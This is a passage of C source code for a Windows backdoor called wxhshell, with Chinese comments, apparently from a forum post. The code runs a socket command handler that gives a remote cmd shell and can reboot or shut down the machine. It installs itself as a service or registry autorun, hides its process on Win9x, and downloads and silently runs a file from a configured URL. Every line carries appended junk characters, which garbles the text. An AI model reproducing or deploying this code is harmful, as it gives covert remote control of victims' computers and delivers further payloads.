  // 帮助 @(&ki~+   
  case '?': { JrS/"QSA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M HlP)'  
    break; q<.^DO~$L  
  } }Geip@Ot  
  // 安装 Pg7W:L7  
  case 'i': { y7$e7~}/  
    if(Install()) 3mpEF<z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aW$7:<A{  
    else ($[pCdY  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GS\-  
    break; 0t6s20*q  
    } GP[;+xMBh  
  // 卸载 Kl\A&O*{  
  case 'r': { l% K9Ke  
    if(Uninstall()) i#&]{]}Qv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vQYd!DSh  
    else Xy=|qu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rsy'ZVLUj  
    break; n"d~UV^Uw  
    } xlv:+  
  // 显示 wxhshell 所在路径 lg;`ItX]  
  case 'p': { (Q\QZu@  
    char svExeFile[MAX_PATH]; -9vAY+s.  
    strcpy(svExeFile,"\n\r"); HFvhrG  
      strcat(svExeFile,ExeFile); nEyP Nm )  
        send(wsh,svExeFile,strlen(svExeFile),0); NNb17=q_v  
    break; HO}aLp  
    } '+Ts IJh  
  // 重启 C&K%Q3V  
  case 'b': { k7f[aM5]  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,k+jx53XV  
    if(Boot(REBOOT)) _N0x&9S$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); H\ 8.T:>  
    else { 4- N>#  
    closesocket(wsh); I)O%D3wfMW  
    ExitThread(0); )"=BbMfhu  
    } r]" >  
    break; hFyN|Dqhds  
    } }DY^a'wJ-  
  // 关机 boJQ3Xc  
  case 'd': { Su-LZ'C\  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NS mo(c >5  
    if(Boot(SHUTDOWN)) ~iyd p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ 4c2}>f  
    else { ;@ %~eIlu  
    closesocket(wsh); >0T0K`o  
    ExitThread(0); }0}J  
    } W>/O9?D  
    break; yV=hi?f-[V  
    } R-bICGSE  
  // 获取shell ;(TBg-LEK  
  case 's': { 82efqzT  
    CmdShell(wsh); W^P%k:anK  
    closesocket(wsh); .@/5Ln  
    ExitThread(0); kSoAnJ|  
    break; N y7VIh|  
  } %t:1)]2  
  // 退出 pjrVPi5&t  
  case 'x': { x.>z2.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K;gm^  
    CloseIt(wsh); C} Ewi-  
    break;  @X  
    } at ]Lz_\  
  // 离开 wC..LdSR  
  case 'q': { 12;" K?7{  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dcYUw]  
    closesocket(wsh); 4,wdIdSm4  
    WSACleanup(); 6aXsRhQ~  
    exit(1); ,R3D  
    break; ,t(y~Z wJ  
        } rQ@,Y"  
  } nRb#M  
  } 6pxj9@X+  
S!up2OseW  
  // 提示信息 `"Tx%>E(U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2p(K0PtX  
} O BF5Tl4  
  }  oC >^V5  
#oJ9BgDry  
  return; Ab cmI*y  
} ,Es5PmV@$%  
I]jVnQ>&  
// shell模块句柄 bmzs!fg_~R  
int CmdShell(SOCKET sock) }NiJDs  
{ onHUi]yYu{  
STARTUPINFO si; WVf;uob{  
ZeroMemory(&si,sizeof(si)); @;JT }R H-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3 3s.p'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5 S7\m5  
PROCESS_INFORMATION ProcessInfo; P=(\3ok  
char cmdline[]="cmd"; SI8mr`gJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hdfNXZ{A"  
  return 0; D@7\Fg  
} @1^iWM j  
gy_n=jhi+  
// 自身启动模式 52{jq18&  
int StartFromService(void) CYes'lr  
{ yngSD`b_P  
typedef struct LtXFGPQf  
{ V~NS<!+q  
  DWORD ExitStatus; 8{epy  
  DWORD PebBaseAddress; fW <qp  
  DWORD AffinityMask; 7?Xfge%\  
  DWORD BasePriority; e9o(hL  
  ULONG UniqueProcessId; 3#^xxEu  
  ULONG InheritedFromUniqueProcessId; k0{Mq<V*%  
}   PROCESS_BASIC_INFORMATION; .' 3;Z'%"g  
pU<->d;->  
PROCNTQSIP NtQueryInformationProcess; r#d~($[93  
"&77`R  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; US@ak4Y6Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p`T7Y\\#!  
cuW$%$ F  
  HANDLE             hProcess; $*`fn{2  
  PROCESS_BASIC_INFORMATION pbi; `?2S4lN/  
!sK{:6s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5lVDYmh  
  if(NULL == hInst ) return 0; co yy T  
Wd3/Y/MD  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y*2:(nI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); KR?-<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _u]Wr%D@  
` ~VV1  
  if (!NtQueryInformationProcess) return 0; HwiG~'Ah9  
SI4M<'fK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); o%RyE]pw,  
  if(!hProcess) return 0; AL3zE=BL  
{[NBTT9&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; pR; AqDQ  
dl;^sn0s  
  CloseHandle(hProcess); G%Wjtrpj  
OqHD=D[  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {6 C!^ 5  
if(hProcess==NULL) return 0; -]A,SBs  
GbBcC#0  
HMODULE hMod; w)5eD+n\-  
char procName[255]; u4rGe!  
unsigned long cbNeeded; 'HH[[9Q  
zxT&K|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u\Tq5PYXt  
SHIK=&\~-  
  CloseHandle(hProcess); e#<%`\qH  
ikw_t?  
if(strstr(procName,"services")) return 1; // 以服务启动 O{%yO=`r  
yAW%y  
  return 0; // 注册表启动 <x53b/ft  
} [?.k8;k  
 r@/+  
// 主模块 qI5_@[S*  
int StartWxhshell(LPSTR lpCmdLine) 3tA6r  
{ 8%U+y0j6b  
  SOCKET wsl; PL%U  
BOOL val=TRUE; FI Io{ru  
  int port=0; [(F.x6z)  
  struct sockaddr_in door; -'*B%yy  
N0vr>e`  
  if(wscfg.ws_autoins) Install(); K*d+pImrV  
Vyf r>pgW1  
port=atoi(lpCmdLine); Pz:,q~  
LW{7|g  
if(port<=0) port=wscfg.ws_port; 9V9K3xWn  
_RST[B.u6  
  WSADATA data; zL+jlUkE  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Gh>Rt=Qu%  
gC> A *~J;  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Cz#0Gh>1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xKv\z1ra  
  door.sin_family = AF_INET; ,KdD owc  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;vy"i  
  door.sin_port = htons(port); f)Z$ ,&  
p?>(y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }} J?, >g  
closesocket(wsl); bd5\Rt  
return 1; pi 7W8y  
} :uSo 2d  
v1oq[+  
  if(listen(wsl,2) == INVALID_SOCKET) { si.ZTG9m  
closesocket(wsl); iT227v!s  
return 1; )CD4k:bm  
} (1^AzE%U+Z  
  Wxhshell(wsl); @/9#Z4&d0  
  WSACleanup(); ; {iX_%  
y U =) g  
return 0; TMpV .iH  
1I{vB eMj  
} |k\4\a Lj  
_)"-zbh}{  
// 以NT服务方式启动 SDwTGQ/0  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yT.h[yv"w  
{ -Wd2FD^x  
DWORD   status = 0; &CpxD."8x  
  DWORD   specificError = 0xfffffff; G%jgr"]\z  
'JU(2mF  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nm`[\3R  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~k^rIjR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (y *7 g f  
  serviceStatus.dwWin32ExitCode     = 0; aY@]mMz\  
  serviceStatus.dwServiceSpecificExitCode = 0; >-*rtiE  
  serviceStatus.dwCheckPoint       = 0; 1hp`.!3]H  
  serviceStatus.dwWaitHint       = 0; >E;kM B  
 Tvqq#;I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ikX"f?Q;S2  
  if (hServiceStatusHandle==0) return; BiT #bg  
@.0>gmY;:  
status = GetLastError();  Fku~'30  
  if (status!=NO_ERROR) eyUguA<lK\  
{ N?hQ53#3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; *?x$q/a  
    serviceStatus.dwCheckPoint       = 0; /99S<U2ej  
    serviceStatus.dwWaitHint       = 0; YcOPqvQ  
    serviceStatus.dwWin32ExitCode     = status; O]3$$uI=QE  
    serviceStatus.dwServiceSpecificExitCode = specificError; EmNJ_xY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); = .a}  
    return; RtO3!dGT.  
  } [ R  
b 5<&hN4g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; f>!)y-7  
  serviceStatus.dwCheckPoint       = 0; c<bV3,  
  serviceStatus.dwWaitHint       = 0; U*(/eEtd-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >HNBTc=~t  
} u atY:GSR  
)eIC5>#.  
// 处理NT服务事件,比如:启动、停止 `@TWZ%f6  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d9e_slx  
{ Q]$gw,H"6  
switch(fdwControl) v3O+ ;4  
{ 7^)8DwAl  
case SERVICE_CONTROL_STOP: #{K}o}  
  serviceStatus.dwWin32ExitCode = 0; 0)F.Y,L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Z.'j7(tu  
  serviceStatus.dwCheckPoint   = 0; ?1w{lz(P  
  serviceStatus.dwWaitHint     = 0; \kWL:uU  
  { iMjoa tt  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (+uM |a  
  } PkX4 !  
  return; |ecK~+  
case SERVICE_CONTROL_PAUSE: 0,~||H{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kb3>q($  
  break; +q n[F70}  
case SERVICE_CONTROL_CONTINUE: Cm@rX A/  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 3r^Ls[ey  
  break; S!WG|75B  
case SERVICE_CONTROL_INTERROGATE: #O 2g]YH  
  break; "o_s=^U  
}; C2t]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X})5XYvA*  
} ^Gi9&fS,  
[l44,!Z&  
// 标准应用程序主函数 E$SYXe[,  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2_T2?weD5  
{ Ig&H0S  
t 2x2_;a  
// 获取操作系统版本 Nm$B a.Rg  
OsIsNt=GetOsVer(); abMB-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @}; vl  
\ SCi\j/a(  
  // 从命令行安装 >AK9F. _z  
  if(strpbrk(lpCmdLine,"iI")) Install(); )j,Y(V$P  
Fi+8|/5  
  // 下载执行文件 ^AhV1rBB  
if(wscfg.ws_downexe) { ~:FF"T>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (A(j.[4a  
  WinExec(wscfg.ws_filenam,SW_HIDE); s.|OdC>U =  
} OSoIH`t A  
LV2#w_^I  
if(!OsIsNt) { |7%has3"  
// 如果时win9x,隐藏进程并且设置为注册表启动 [}$jO,H5r  
HideProc(); tJ Bj9{  
StartWxhshell(lpCmdLine); ^?M# |>  
} )[b\wrc   
else M$u.lI  
  if(StartFromService()) { 9:vq|  
  // 以服务方式启动 |$|B0mj  
  StartServiceCtrlDispatcher(DispatchTable); Es<& 6  
else :; z]:d  
  // 普通方式启动 4Jn+Ot.,d  
  StartWxhshell(lpCmdLine); [>$?/DM  
35Ro8 5j  
return 0; N\l|3~  
}
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只看该作者 1 发表于: 2006-10-10
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